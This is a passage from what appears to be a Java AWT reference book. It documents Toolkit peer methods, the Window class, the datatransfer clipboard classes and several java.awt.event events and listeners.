protected abstract CheckboxMenuItemPeer createCheckboxMenuItem (CheckboxMenuItem cmi)

Parameters

cmi

Component whose peer needs to be created.

Returns

Newly created peer.

Description

Creates a peer for the CheckboxMenuItem.

createChoice

protected abstract ChoicePeer createChoice (Choice c)

Parameters

c

Component whose peer needs to be created.

Returns

Newly created peer.

Description

Creates a peer for the Choice.

createComponent

protected LightweightPeer createComponent (Component target) (New)

Parameters

target

Component whose peer needs to be created.

Returns

Newly created peer.

Description

Creates a peer for the Component.

createDialog

protected abstract DialogPeer createDialog (Dialog d)

Parameters

d

Component whose peer needs to be created.

Returns

Newly created peer.

Description

Creates a peer for the Dialog.

createFileDialog

protected abstract FileDialogPeer createFileDialog (FileDialog fd)

Parameters

fd

Component whose peer needs to be created.

Returns

Newly created peer.

Description

Creates a peer for the FileDialog.

createFrame

protected abstract FramePeer createFrame (Frame f)

Parameters

f

Component whose peer needs to be created.

Returns

Newly created peer.

Description

Creates a peer for the Frame.

createLabel

protected abstract LabelPeer createLabel (Label l)

Parameters

l

Component whose peer needs to be created.

Returns

Newly created peer.

Description

Creates a peer for the Label.

createList

protected abstract ListPeer createList (List l)

Parameters

l

Component whose peer needs to be created.

Returns

Newly created peer.

Description

Creates a peer for the List.

createMenu

protected abstract MenuPeer createMenu (Menu m)

Parameters

m

Menu whose peer needs to be created.

Returns

Newly created peer.

Description

Creates a peer for the given Menu.

createMenuBar

protected abstract MenuBarPeer createMenuBar (MenuBar mb)

Parameters

mb

MenuBar whose peer needs to be created.

Returns

Newly created peer.

Description

Creates a peer for the MenuBar.

createMenuItem

protected abstract MenuItemPeer createMenuItem (MenuItem mi)

Parameters

mi

MenuItem whose peer needs to be created.

Returns

Newly created peer.

Description

Creates a peer for the MenuItem.

createPanel

protected abstract PanelPeer createPanel (Panel p)

Parameters

p

Component whose peer needs to be created.

Returns

Newly created peer.

Description

Creates a peer for the Panel.

createPopupMenu

protected abstract PopupMenuPeer createPopupMenu (PopupMenu target) (New)

Parameters

target

Component whose peer needs to be created.

Returns

Newly created peer.

Description

Creates a peer for the PopupMenu.

createScrollPane

protected abstract ScrollPanePeer createScrollPane (ScrollPane target) (New)

Parameters

target

Component whose peer needs to be created.

Returns

Newly created peer.

Description

Creates a peer for the ScrollPane.

createScrollbar

protected abstract ScrollbarPeer createScrollbar (Scrollbar sb)

Parameters

sb

Component whose peer needs to be created.

Returns

Newly created peer.

Description

Creates a peer for the Scrollbar.

createTextArea

protected abstract TextAreaPeer createTextArea (TextArea ta)

Parameters

ta

Component whose peer needs to be created.

Returns

Newly created peer.

Description

Creates a peer for the TextArea.

createTextField

protected abstract TextFieldPeer createTextField (TextField tf)

Parameters

tf

Component whose peer needs to be created.

Returns

Newly created peer.

Description

Creates a peer for the TextField.

createWindow

protected abstract WindowPeer createWindow (Window w)

Parameters

w

Component whose peer needs to be created.

Returns

Newly created peer.

Description

Creates a peer for the Window.

getFontPeer

protected abstract FontPeer getFontPeer (String name, int style) (New)

Parameters

name

Name of the font to be created.

style

Style of the font to be created.

Returns

Newly created peer.

Description

Creates a FontPeer.

getSystemEventQueueImpl

protected abstract getSystemEventQueueImpl() (New)

Returns

A toolkit-specific EventQueue object.

loadSystemColors

protected abstract void loadSystemColors (int[] systemColors) (New)

Description

Fills the given integer array with the current system colors.

See Also

Button, ButtonPeer, Canvas, CanvasPeer, Checkbox, CheckboxMenuItem, CheckboxMenuItemPeer, CheckboxPeer, Choice, ChoicePeer, Clipboard, ColorModel, Component, Container, Dialog, DialogPeer, Dimension, FileDialog, FileDialogPeer, Font, FontMetrics, FontPeer, Frame, FramePeer, Image, ImageObserver, ImageProducer, Label, LabelPeer, LightweightPeer, List, ListPeer, Menu, MenuBar, MenuBarPeer, MenuItem, MenuItemPeer, MenuPeer, Panel, PanelPeer, PrintJob, Scrollbar, ScrollbarPeer, ScrollPane, ScrollPanePeer, String, TextArea, TextAreaPeer, TextField, TextFieldPeer, Window, WindowPeer

Previous | Home | Next
TextField | Book Index | Window
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] Window

Previous Chapter 19
java.awt Reference 		Next

Window

Name

Window

[Graphic: Figure from the text]

Description

The Window class serves as a top-level display area that exists outside the browser or applet area you may be working in. A window must have a parent Frame.

Class Definition

public class java.awt.Window
    extends java.awt.Container {

  // Constructors
  public Window (Frame parent);

  // Instance Methods
  public void addNotify();
  public synchronized void addWindowListener (WindowListener l);   (New)
  public void dispose();
  public Component getFocusOwner();   (New)
  public Locale getLocale();   (New)
  public Toolkit getToolkit();
  public final String getWarningString();
  public boolean isShowing();   (New)
  public void pack();
  public boolean postEvent (Event e);   (Deprecated)
  public synchronized void remove WindowListener (WindowListener l);   (New)
  public void show();
  public void toBack();
  public void toFront();
//Protected Instance Methods
  protected void processEvent (AWTEvent e);   (New)
  protected void processWindowEvent (WindowEvent e);   (New)
}

Constructors

Window

public Window (Frame parent)

Parameters

parent

Frame that is to act as the parent of Window.

Description

Constructs a Window object.

Instance Methods

addNotify

public void addNotify()

Overrides

Container.addNotify()

Description

Creates Window's peer and peers of contained components.

removeWindowListener

public synchronized void removeWindowListener(WindowListener l) (New)

Parameters

l

One of this Frame's WindowListeners.

Description

Remove an event listener.

addWindowListener

public synchronized void addWindowListener (WindowListener l) (New)

Parameters

l

An object that implements the WindowListener interface.

Description

Add a listener for windowing events.

dispose

public void dispose()

Returns

Releases the resources of the Window.

getFocusOwner

public Component getFocusOwner() (New)

Returns

The child component that currently has the input focus.

getLocale

public Locale getLocale() (New)

Returns

The locale for this Window.

Overrides

Window.getLocale()

getToolkit

public Toolkit getToolkit()

Returns

Toolkit of Window.

Overrides

Component.getToolkit()

getWarningString

public final String getWarningString()

Returns

String that will be displayed on the bottom of insecure Window instances.

isShowing

public boolean isShowing()

Returns

true if the Window is showing on the screen, false otherwise.

pack

public void pack()

Description

Resizes Window to getPreferredSize() of contained components.

postEvent

public boolean postEvent (Event e) (Deprecated)

Parameters

e

Event instance to post to window.

Returns

If Event is handled, true is returned. Otherwise, false is returned.

Description

Tells the Window to deal with Event.

removeWindowListener

public synchronized void removeWindowListener (WindowListener l) (New)

Parameters

l

One of this Frame's WindowListeners.

Description

Remove an event listener.

show

public void show()

Description

Show the Window and validate its components.

Overrides

Component.show()

toBack

public void toBack()

Description

Puts the Window in the background of the display.

toFront

public void toFront()

Description

Brings the Window to the foreground of the display.

Protected Instance Methods

processEvent

protected void processEvent (AWTEvent e) (New)

Parameters

e

The event to process.

Description

Low level AWTEvents are passed to this method for processing.

processWindowEvent

protected void processWindowEvent (WindowEvent e) (New)

Parameters

e

The event to process.

Description

Window events are passed to this method for processing. Normally, this method is called by processEvent().

See Also

Component, Container, Dialog, Frame, String, Toolkit

Previous | Home | Next
Toolkit | Book Index | Clipboard (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] java.awt Reference

Previous Chapter 19 Next

19. java.awt Reference

Contents:

Select a new section and then

AWTError

Name

AWTError

[Graphic: Figure from the text]

Description

An AWTError; thrown to indicate a serious runtime error.

Class Definition

public class java.awt.AWTError
    extends java.lang.Error {

  // Constructors
  public AWTError (String message);
}

Constructors

AWTError

public AWTError (String message)

Parameters

message

Detail message

See Also

Error, String

Previous | Home | Next
Window | Book Index | AWTEvent (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] java.awt.datatransfer Reference

Previous Chapter 20 Next

20. java.awt.datatransfer Reference

Contents:
Clipboard (New)
ClipboardOwner (New)
DataFlavor (New)
StringSelection (New)
Transferable (New)
UnsupportedFlavorException (New)

Clipboard (New)

Name

Clipboard (New)

[Graphic: Figure from the text]

Description

The Clipboard class is a repository for a Transferable object and can be used for cut, copy, and paste operations. The system clipboard can be accessed by calling Toolkit.getDefaultToolkit().getSystemClipboard(). You can use this technique if you are interested in exchanging data between your application and other applications ( Java or non-Java) running on the system. In addition, Clipboard can be instantiated directly, if "private" clipboards are needed.

Class Definition

public class java.awt.datatransfer.Clipboard
   extends java.lang.Object {
  // Variables
  protected Transferable contents;
  protected ClipboardOwner owner;
  // Constructors
  public Clipboard (String name);
  // Instance Methods
  public synchronized Transferable getContents (Object requestor);
  public String getName();
  public synchronized void setContents (Transferable contents, ClipboardOwner owner);
}

Variables

contents

protected Transferable contents

The object that the Clipboard contains, i.e., the object that has been cut or copied.

owner

protected ClipboardOwner owner

The object that owns the contents. When something else is placed on the clipboard, owner is notified via lostOwnership().

Constructors

Clipboard

public Clipboard (String name)

Parameters

name

The name for this Clipboard.

Description

Constructs a Clipboard object with the given name.

Instance Methods

getContents

public synchronized Transferable getContents (Object requestor)

Parameters

requestor

The object asking for the contents.

Returns

An object that implements the Transferable interface.

Description

Returns the current contents of the Clipboard. You could use this method to paste data from the clipboard into your application.

getName

public String getName()

Returns

Clipboard's name.

Description

Returns the name used when this clipboard was constructed. Toolkit.getSystemClipboard() returns a Clipboard named "System".

setContents

public synchronized void setContents (Transferable contents, ClipboardOwner owner)

Parameters

contents

New contents.

owner

Owner of the new contents.

Description

Changes the contents of the Clipboard. You could use this method to cut or copy data from your application to the clipboard.

See Also

ClipboardOwner, Toolkit, Transferable

Previous | Home | Next
Window | Book Index | ClipboardOwner (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] ClipboardOwner

Previous Chapter 20
java.awt.datatransfer Reference 		Next

ClipboardOwner (New)

Name

ClipboardOwner (New)

[Graphic: Figure from the text]

Description

ClipboardOwner is implemented by classes that want to be notified when someone else sets the contents of a clipboard.

Interface Definition

public abstract interface java.awt.datatransfer.ClipboardOwner {
  // Interface Methods
  public abstract void lostOwnership (Clipboard clipboard, Transferable contents);
}

Interface Methods

lostOwnership

public abstract void lostOwnership (Clipboard clipboard, Transferable contents)

Parameters

clipboard

The clipboard whose contents have changed.

contents

The contents that this owner originally put on the clipboard.

Description

Tells the ClipboardOwner that the contents it placed on the given clipboard are no longer there.

See Also

Clipboard, StringSelection, Transferable

Previous | Home | Next
Clipboard (New) | Book Index | DataFlavor (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] DataFlavor

Previous Chapter 20
java.awt.datatransfer Reference 		Next

DataFlavor (New)

Name

DataFlavor (New)

[Graphic: Figure from the text]

Description

The DataFlavor class encapsulates information about data formats.

Class Definition

public class java.awt.datatransfer.DataFlavor
   extends java.lang.Object {
  // Class Variables
  public static DataFlavor plainTextFlavor;
  public static DataFlavor stringFlavor;
  // Constructors
  public DataFlavor (Class representationClass,
    String humanPresentableName);
  public DataFlavor (String MIMEType, String humanPresentableName);
  // Instance Methods
  public boolean equals (DataFlavor dataFlavor);
  public String getHumanPresentableName();
  public String getMIMEType();
  public Class getRepresentationClass();
  public boolean isMIMETypeEqual (String MIMEType);
  public final boolean isMIMETypeEqual (DataFlavor dataFlavor);
  public void setHumanPresentableName (String humanPresentableName);
  // Protected Instance Methods
  protected String normalizeMIMEType (String MIMEType);
  protected String normalizeMIMETypeParameter (String parameterName,
    String parameterValue);
}

Class Variables

plainTextFlavor

public static DataFlavor plainTextFlavor

A preset DataFlavor object representing plain text.

stringFlavor

public static DataFlavor stringFlavor

A preset DataFlavor object representing a Java String.

Constructors

DataFlavor

public DataFlavor (Class representationClass, String humanPresentableName)

Parameters

representationClass

The Java class that represents data in this flavor.

humanPresentableName

A name for this flavor that humans will recognize.

Description

Constructs a DataFlavor object with the given characteristics. The MIME type for this DataFlavor is application/x-java-serialized-object <Java ClassName>.[1]

[1] The type name changed to x-java-serialized-object in the 1.1.1 release.

public DataFlavor (String MIMEType, String humanPresentableName)

Parameters

MIMEType

The MIME type string this DataFlavor represents.

humanPresentableName

A name for this flavor that humans will recognize.

Description

Constructs a DataFlavor object with the given characteristics. The representation class used for this DataFlavor is java.io.InputStream.

Instance Methods

equals

public boolean equals (DataFlavor dataFlavor)

Parameters

dataFlavor

The flavor to compare.

Returns

true if dataFlavor is equivalent to this DataFlavor, false otherwise.

Description

Compares two different DataFlavor instances for equivalence.

getHumanPresentableName

public String getHumanPresentableName()

Returns

The name of this flavor.

getMIMEType

public String getMIMEType()

Returns

The MIME type string for this flavor.

getRepresentationClass

public Class getRepresentationClass()

Returns

The Java class that will be used to represent data in this flavor.

isMIMETypeEqual

public boolean isMIMETypeEqual (String MIMEType)

Parameters

MIMEType

The type to compare.

Returns

true if the given MIME type is the same as this DataFlavor's MIME type; false otherwise.

Description

Compares two different DataFlavor MIME types for equivalence.

public final boolean isMIMETypeEqual (DataFlavor dataFlavor)

Parameters

dataFlavor

The flavor to compare.

Returns

true if DataFlavor's MIME type is the same as this DataFlavor's MIME type; false otherwise.

Description

Compares two different DataFlavor MIME types for equivalence.

setHumanPresentableName

public void setHumanPresentableName (String humanPresentableName)

Parameters

humanPresentableName

A name for this flavor that humans will recognize.

Description

Changes the name of the DataFlavor.

Protected Instance Methods

normalizeMIMEType

protected String normalizeMIMEType (String MIMEType)

Parameters

MIMEType

The MIME type string to normalize.

Returns

Normalized MIME type string.

Description

This method is called for each MIME type string. Subclasses can override this method to add default parameter/value pairs to MIME strings.

normalizeMIMETypeParameter

protected String normalizeMIMETypeParameter (String parameterName, String parameterValue)

Parameters

parameterName

The MIME type parameter to normalize.

parameterValue

The corresponding value.

Returns

Normalized MIME type parameter string.

Description

This method is called for each MIME type parameter string. Subclasses can override this method to handle special parameters, such as those that are case-insensitive.

See Also

Class, String

Previous | Home | Next
ClipboardOwner (New) | Book Index | StringSelection (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] StringSelection

Previous Chapter 20
java.awt.datatransfer Reference 		Next

StringSelection (New)

Name

StringSelection (New)

[Graphic: Figure from the text]

Description

StringSelection is a "convenience" class that can be used for copy and paste operations on Unicode text strings. For example, you could place a string on the system's clipboard with the following code:

Clipboard c =
  Toolkit.getDefaultToolkit().getSystemClipboard();
StringSelection s = new StringSelection(
  "Be safe when you cut and paste.");
c.setContents(s, s);

Class Definition

public class java.awt.datatransfer.StringSelection
   extends java.lang.Object
   implements java.awt.datatransfer.ClipboardOwner,
         java.awt.datatransfer.Transferable {
  // Constructor
  public StringSelection(String data);
  // Instance Methods
  public synchronized Object getTransferData (DataFlavor flavor)
    throws UnsupportedFlavorException, IOException;
  public synchronized DataFlavor[] getTransferDataFlavors();
  public boolean isDataFlavorSupported (DataFlavor flavor);
  public void lostOwnership (Clipboard clipboard, Transferable contents);
}

Constructors

StringSelection

public StringSelection (String data)

Parameters

data

The string to be placed in a clipboard.

Description

Constructs a StringSelection object from the given string.

Instance Methods

getTransferData

public synchronized Object getTransferData (DataFlavor flavor) throws UnsupportedFlavorException, IOException

Parameters

flavor

The requested flavor for the returned data, which can be either DataFlavor.stringFlavor or DataFlavor.plainTextFlavor.

Returns

The string that the StringSelection was constructed with. This is returned either as a String object or a Reader object, depending on the flavor requested.

Throws

UnsupportedFlavorException

If the requested flavor is not supported.

IOException

If a Reader representing the string could not be created.

Implements

Transferable.getTransferData(DataFlavor)

Description

Returns the string this StringSelection represents. This is returned either as a String object or a Reader object, depending on the flavor requested.

getTransferDataFlavors

public synchronized DataFlavor[] getTransferDataFlavors()

Returns

An array of the data flavors the StringSelection supports.

Implements

Transferable.getTransferDataFlavors()

Description

DataFlavor.stringFlavor and DataFlavor.plainTextFlavor are returned.

isDataFlavorSupported

public boolean isDataFlavorSupported (DataFlavor flavor)

Parameters

flavor

The flavor in question.

Returns

true if flavor is supported; false otherwise.

Implements

Transferable.isDataFlavorSupported(DataFlavor)

lostOwnership

public void lostOwnership (Clipboard clipboard, Transferable contents)

Parameters

clipboard

The clipboard whose contents are changing.

contents

The contents that were on the clipboard.

Implements

ClipboardOwner.lostOwnership(Clipboard, Transferable)

Description

Does nothing.

See Also

Clipboard, ClipboardOwner, DataFlavor, String, Transferable

Previous | Home | Next
DataFlavor (New) | Book Index | Transferable (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] Transferable

Previous Chapter 20
java.awt.datatransfer Reference 		Next

Transferable (New)

Name

Transferable (New)

[Graphic: Figure from the text]

Description

The Transferable interface is implemented by objects that can be placed on Clipboards.

Interface Definition

public abstract interface Transferable {
  // Instance Methods
  public abstract Object getTransferData (DataFlavor flavor)
    throws UnsupportedFlavorException, IOException;
  public abstract DataFlavor[] getTransferDataFlavors();
  public abstract boolean isDataFlavorSupported (DataFlavor flavor);
}

Interface Methods

getTransferData

public abstract Object getTransferData (DataFlavor flavor) throws UnsupportedFlavorException, IOException

Parameters

flavor

The requested flavor for the returned data.

Returns

The data represented by this Transferable object, in the requested flavor.

Throws

UnsupportedFlavorException

If the requested flavor is not supported.

IOException

If a Reader representing the data could not be created.

Description

Returns the data this Transferable object represents. The class of object returned depends on the flavor requested.

getTransferDataFlavors

public abstract DataFlavor[] getTransferDataFlavors()

Returns

An array of the supported data flavors.

Description

The data flavors should be returned in order, sorted from most to least descriptive.

isDataFlavorSupported

public abstract boolean isDataFlavorSupported (DataFlavor flavor)

Parameters

flavor

The flavor in question.

Returns

true if flavor is supported; false otherwise.

See Also

Clipboard, DataFlavor, Reader, StringSelection, Transferable

Previous | Home | Next
StringSelection (New) | Book Index | UnsupportedFlavorException (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 20] UnsupportedFlavorException

Previous Chapter 20
java.awt.datatransfer Reference 		Next

UnsupportedFlavorException (New)

Name

UnsupportedFlavorException (New)

[Graphic: Figure from the text]

Description

This exception is thrown from Transferable.getTransferData(DataFlavor) to indicate that the DataFlavor requested is not available.

Class Definition

public class java.awt.datatransfer.UnsupportedFlavorException
   extends java.lang.Exception {
  // Constructor
  public UnsupportedFlavorException (DataFlavor flavor);
}

Constructors

UnsupportedFlavorException

public UnsupportedFlavorException (DataFlavor flavor)

Parameters

flavor

The flavor that caused the exception.

See Also

DataFlavor, Exception, Transferable

Previous | Home | Next
Transferable (New) | Book Index | ActionEvent (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] java.awt.event Reference

Previous Chapter 21 Next

21. java.awt.event Reference

Contents:
ActionListener (New)
AdjustmentEvent (New)
AdjustmentListener (New)
ComponentAdapter (New)
ComponentEvent (New)
ComponentListener (New)
ContainerAdapter (New)
ContainerEvent (New)
ContainerListener (New)
FocusAdapter (New)
FocusEvent (New)
FocusListener (New)
InputEvent (New)
ItemEvent (New)
ItemListener (New)
KeyAdapter (New)
KeyEvent (New)
KeyListener (New)
MouseAdapter (New)
MouseEvent (New)
MouseListener (New)
MouseMotionAdapter (New)
MouseMotionListener (New)
PaintEvent (New)
TextEvent (New)
TextListener (New)
WindowAdapter (New)
WindowEvent (New)
WindowListener (New)

ActionEvent (New)

Name

ActionEvent (New)

[Graphic: Figure from the text]

Description

Action events are fired off when the user performs an action on a component, such as pushing a button, double-clicking on a list item, or selecting a menu item. There is only one action event type, ACTION_PERFORMED.

Class Definition

public class java.awt.event.ActionEvent
   extends java.awt.AWTEvent {
  // Constants
  public final static int ACTION_FIRST;
  public final static int ACTION_LAST;
  public final static int ACTION_PERFORMED;
  public final static int ALT_MASK;
  public final static int CTRL_MASK;
  public final static int META_MASK;
  public final static int SHIFT_MASK;
  // Constructors
  public ActionEvent (Object source, int id, String command);
  public ActionEvent (Object source, int id, String command, int modifiers);
  // Instance Methods
  public String getActionCommand();
  public int getModifiers();
  public String paramString();
}

Constants

ACTION_FIRST

public final static int ACTION_FIRST

Specifies the beginning range of action event ID values.

ACTION_LAST

public final static int ACTION_LAST

Specifies the ending range of action event ID values.

ACTION_PERFORMED

public final static int ACTION_PERFORMED

The only action event type; it indicates that the user has performed an action.

ALT_MASK

public final static int ALT_MASK

A constant representing the ALT key. ORed with other masks to form modifiers setting of an AWTEvent.

CTRL_MASK

public final static int CTRL_MASK

A constant representing the Control key. ORed with other masks to form modifiers setting of an AWTEvent.

META_MASK

public final static int META_MASK

A constant representing the META key. ORed with other masks to form modifiers setting of an AWTEvent.

SHIFT_MASK

public final static int SHIFT_MASK

A constant representing the Shift key. ORed with other masks to form modifiers setting of an AWTEvent.

Constructors

ActionEvent

public ActionEvent (Object source, int id, String command)

Parameters

source

The object that generated the event.

id

The type ID of the event.

command

The action command string.

Description

Constructs an ActionEvent with the given characteristics.

public ActionEvent (Object source, int id, String command, int modifiers)

Parameters

source

The object that generated the event.

id

The type ID of the event.

command

The action command string.

modifiers

A combination of the key mask constants.

Description

Constructs an ActionEvent with the given characteristics.

Instance Methods

getActionCommand

public String getActionCommand()

Returns

The action command string for this ActionEvent.

Description

Generally the action command string is the label of the component that generated the event. Also, when localization is necessary, the action command string can provide a setting that does not get localized.

getModifiers

public int getModifiers()

Returns

A combination of the key mask constants.

Description

Returns the modifier keys that were held down when this action was performed. This enables you to perform special processing if, for example, the user holds down Shift while pushing a button.

paramString

public String paramString()

Returns

String with current settings of ActionEvent.

Overrides

AWTEvent.paramString()

Description

Helper method for toString() to generate string of current settings.

See Also

ActionListener, AWTEvent, String

Previous | Home | Next
WindowListener (New) | Book Index | ActionListener (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] ActionListener

Previous Chapter 21
java.awt.event Reference 		Next

ActionListener (New)

Name

ActionListener (New)

[Graphic: Figure from the text]

Description

Objects that implement the ActionListener interface can receive ActionEvent objects. Listeners must first register themselves with objects that produce events. When events occur, they are then automatically propagated to all registered listeners.

Interface Definition

public abstract interface java.awt.event.ActionListener
   extends java.util.EventListener {
  // Interface Methods
  public abstract void actionPerformed (ActionEvent e);
}

Interface Methods

actionPerformed

public abstract void actionPerformed (ActionEvent e)

Parameters

e

The action event that occurred.

Description

Notifies the ActionListener that an event occurred.

See Also

ActionEvent, AWTEventMulticaster, EventListener

Previous | Home | Next
ActionEvent (New) | Book Index | AdjustmentEvent (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] AdjustmentEvent

Previous Chapter 21
java.awt.event Reference 		Next

AdjustmentEvent (New)

Name

AdjustmentEvent (New)

[Graphic: Figure from the text]

Description

AdjustmentEvents are generated by objects that implement the Adjustable interface. Scrollbar is one example of such an object.

Class Definition

public class java.awt.event.AdjustmentEvent
   extends java.awt.AWTEvent {
  // Constants
  public final static int ADJUSTMENT_FIRST;
  public final static int ADJUSTMENT_LAST;
  public final static int ADJUSTMENT_VALUE_CHANGED;
  public final static int BLOCK_DECREMENT;
  public final static int BLOCK_INCREMENT;
  public final static int TRACK;
  public final static int UNIT_DECREMENT;
  public final static int UNIT_INCREMENT;
  // Constructors
  public AdjustmentEvent (Adjustable source, int id, int type, int value);
  // Instance Methods
  public Adjustable getAdjustable();
  public int getAdjustmentType();
  public int getValue();
  public String paramString();
}

Constants

ADJUSTMENT_FIRST

public final static int ADJUSTMENT_FIRST

Specifies the beginning range of adjustment event ID values.

ADJUSTMENT_LAST

public final static int ADJUSTMENT_LAST

Specifies the ending range of adjustment event ID values.

ADJUSTMENT_VALUE_CHANGED

public final static int ADJUSTMENT_VALUE_CHANGED

Event type ID for value changed.

BLOCK_DECREMENT

public final static int BLOCK_DECREMENT

Adjustment type for block decrement.

BLOCK_INCREMENT

public final static int BLOCK_INCREMENT

Adjustment type for block increment.

TRACK

public final static int TRACK

Adjustment type for tracking.

UNIT_DECREMENT

public final static int UNIT_DECREMENT

Adjustment type for unit decrement.

UNIT_INCREMENT

public final static int UNIT_INCREMENT

Adjustment type for unit increment.

Constructors

AdjustmentEvent

public AdjustmentEvent (Adjustable source, int id, int type, int value)

Parameters

source

The object that generated the event.

id

The event type ID of the event.

type

The type of adjustment event.

value

The value of the Adjustable object.

Description

Constructs an AdjustmentEvent with the given characteristics.

Instance Methods

getAdjustable

public Adjustable getAdjustable()

Returns

The source of this event.

getAdjustmentType

public int getAdjustmentType()

Returns

One of the adjustment type constants.

Description

The type will be BLOCK_DECREMENT, BLOCK_INCREMENT, TRACK, UNIT_DECREMENT, or UNIT_INCREMENT.

getValue

public int getValue()

Returns

The new value of the Adjustable object.

paramString

public String paramString()

Returns

String with current settings of the AdjustmentEvent.

Overrides

AWTEvent.paramString()

Description

Helper method for toString() to generate string of current settings.

See Also

Adjustable, AdjustmentListener, AWTEvent, Scrollbar

Previous | Home | Next
ActionListener (New) | Book Index | AdjustmentListener (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] AdjustmentListener

Previous Chapter 21
java.awt.event Reference 		Next

AdjustmentListener (New)

Name

AdjustmentListener (New)

[Graphic: Figure from the text]

Description

Objects that implement the AdjustmentListener interface can receive AdjustmentEvent objects. Listeners must first register themselves with objects that produce events. When events occur, they are then automatically propagated to all registered listeners.

Interface Definition

public abstract interface java.awt.event.AdjustmentListener
   extends java.util.Eventlistener {
  // Interface Methods
  public abstract void adjustmentValueChanged (AdjustmentEvent e);
}

Interface Methods

adjustmentPerformed

public abstract void adjustmentValueChanged (AdjustmentEvent e)

Parameters

e

The adjustment event that occurred.

Description

Notifies the AdjustmentListener that an event occurred.

See Also

AdjustmentEvent, AWTEventMulticaster, EventListener

Previous | Home | Next
AdjustmentEvent (New) | Book Index | ComponentAdapter (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] ComponentAdapter

Previous Chapter 21
java.awt.event Reference 		Next

ComponentAdapter (New)

Name

ComponentAdapter (New)

[Graphic: Figure from the text]

Description

ComponentAdapter is a class that implements the methods of ComponentListener with empty functions. It may be easier for you to extend ComponentAdapter, overriding only those methods you are interested in, than to implement ComponentListener and provide the empty functions yourself.

Class Definition

public abstract class java.awt.event.ComponentAdapter
   extends java.lang.Object
   implements java.awt.event.ComponentListener {
  // Instance Methods
  public void componentHidden (ComponentEvent e);
  public void componentMoved (ComponentEvent e);
  public void componentResized (ComponentEvent e);
  public void componentShown (ComponentEvent e);
}

Instance Methods

componentHidden

public void componentHidden (ComponentEvent e)

Parameters

e

The event that has occurred.

Description

Does nothing. Override this function to be notified when a component is hidden.

componentMoved

public void componentMoved (ComponentEvent e)

Parameters

e

The event that has occurred.

Description

Does nothing. Override this function to be notified when a component is moved.

componentResized

public void componentResized (ComponentEvent e)

Parameters

e

The event that has occurred.

Description

Does nothing. Override this function to be notified when a component is resized.

componentShown

public void componentShown (ComponentEvent e)

Parameters

e

The event that has occurred.

Description

Does nothing. Override this function to be notified when a component is shown.

See Also

Component, ComponentEvent, ComponentListener

Previous | Home | Next
AdjustmentListener (New) | Book Index | ComponentEvent (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] ComponentEvent

Previous Chapter 21
java.awt.event Reference 		Next

ComponentEvent (New)

Name

ComponentEvent (New)

[Graphic: Figure from the text]

Description

Component events are generated when a component is shown, hidden, moved, or resized. AWT automatically deals with component moves and resizing; these events are provided only for notification. Subclasses of ComponentEvent deal with other specific component-level events.

Class Definition

public class java.awt.event.ComponentEvent
   extends java.awt.AWTEvent {
  // Constants
  public final static int COMPONENT_FIRST;
  public final static int COMPONENT_HIDDEN;
  public final static int COMPONENT_LAST;
  public final static int COMPONENT_MOVED;
  public final static int COMPONENT_RESIZED;
  public final static int COMPONENT_SHOWN;
  // Constructors
  public ComponentEvent (Component source, int id);
  // Instance Methods
  public Component getComponent();
  public String paramString();
}

Constants

COMPONENT_FIRST

public final static int COMPONENT_FIRST

Specifies the beginning range of component event ID values.

COMPONENT_HIDDEN

public final static int COMPONENT_HIDDEN

Event type ID indicating that the component was hidden.

COMPONENT_LAST

public final static int COMPONENT_LAST

Specifies the ending range of component event ID values.

COMPONENT_MOVED

public final static int COMPONENT_MOVED

Event type ID indicating that the component was moved.

COMPONENT_RESIZED

public final static int COMPONENT_RESIZED

Event type ID indicating that the component was resized.

COMPONENT_SHOWN

public final static int COMPONENT_SHOWN

Event type ID indicating that the component was shown.

Constructors

ComponentEvent

public ComponentEvent (Component source, int id)

Parameters

source

The object that generated the event.

id

The event type ID of the event.

Description

Constructs a ComponentEvent with the given characteristics.

Instance Methods

getComponent

public Component getComponent()

Returns

The source of this event.

paramString

public String paramString()

Returns

String with current settings of the ComponentEvent.

Overrides

AWTEvent.paramString()

Description

Helper method for toString() to generate string of current settings.

See Also

AWTEvent, Component, ComponentAdapter, ComponentListener, ContainerEvent, FocusEvent, InputEvent, PaintEvent, WindowEvent

Previous | Home | Next
ComponentAdapter (New) | Book Index | ComponentListener (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] ComponentListener

Previous Chapter 21
java.awt.event Reference 		Next

ComponentListener (New)

Name

ComponentListener (New)

[Graphic: Figure from the text]

Description

Objects that implement the ComponentListener interface can receive ComponentEvent objects. Listeners must first register themselves with objects that produce events. When events occur, they are then automatically propagated to all registered listeners.

Interface Definition

public abstract interface java.awt.event.ComponentListener
   extends java.util.EventListener {
  // Instance Methods
  public abstract void componentHidden (ComponentEvent e);
  public abstract void componentMoved (ComponentEvent e);
  public abstract void componentResized (ComponentEvent e);
  public abstract void componentShown (ComponentEvent e);
}

Interface Methods

componentHidden

public abstract void componentHidden (ComponentEvent e)

Parameters

e

The component event that occurred.

Description

Notifies the ComponentListener that a component was hidden.

componentMoved

public abstract void componentMoved (ComponentEvent e)

Parameters

e

The component event that occurred.

Description

Notifies the ComponentListener that a component was moved.

componentResized

public abstract void componentResized (ComponentEvent e)

Parameters

e

The component event that occurred.

Description

Notifies the ComponentListener that a component was resized.

componentShown

public abstract void componentShown (ComponentEvent e)

Parameters

e

The component event that occurred.

Description

Notifies the ComponentListener that a component was shown.

See Also

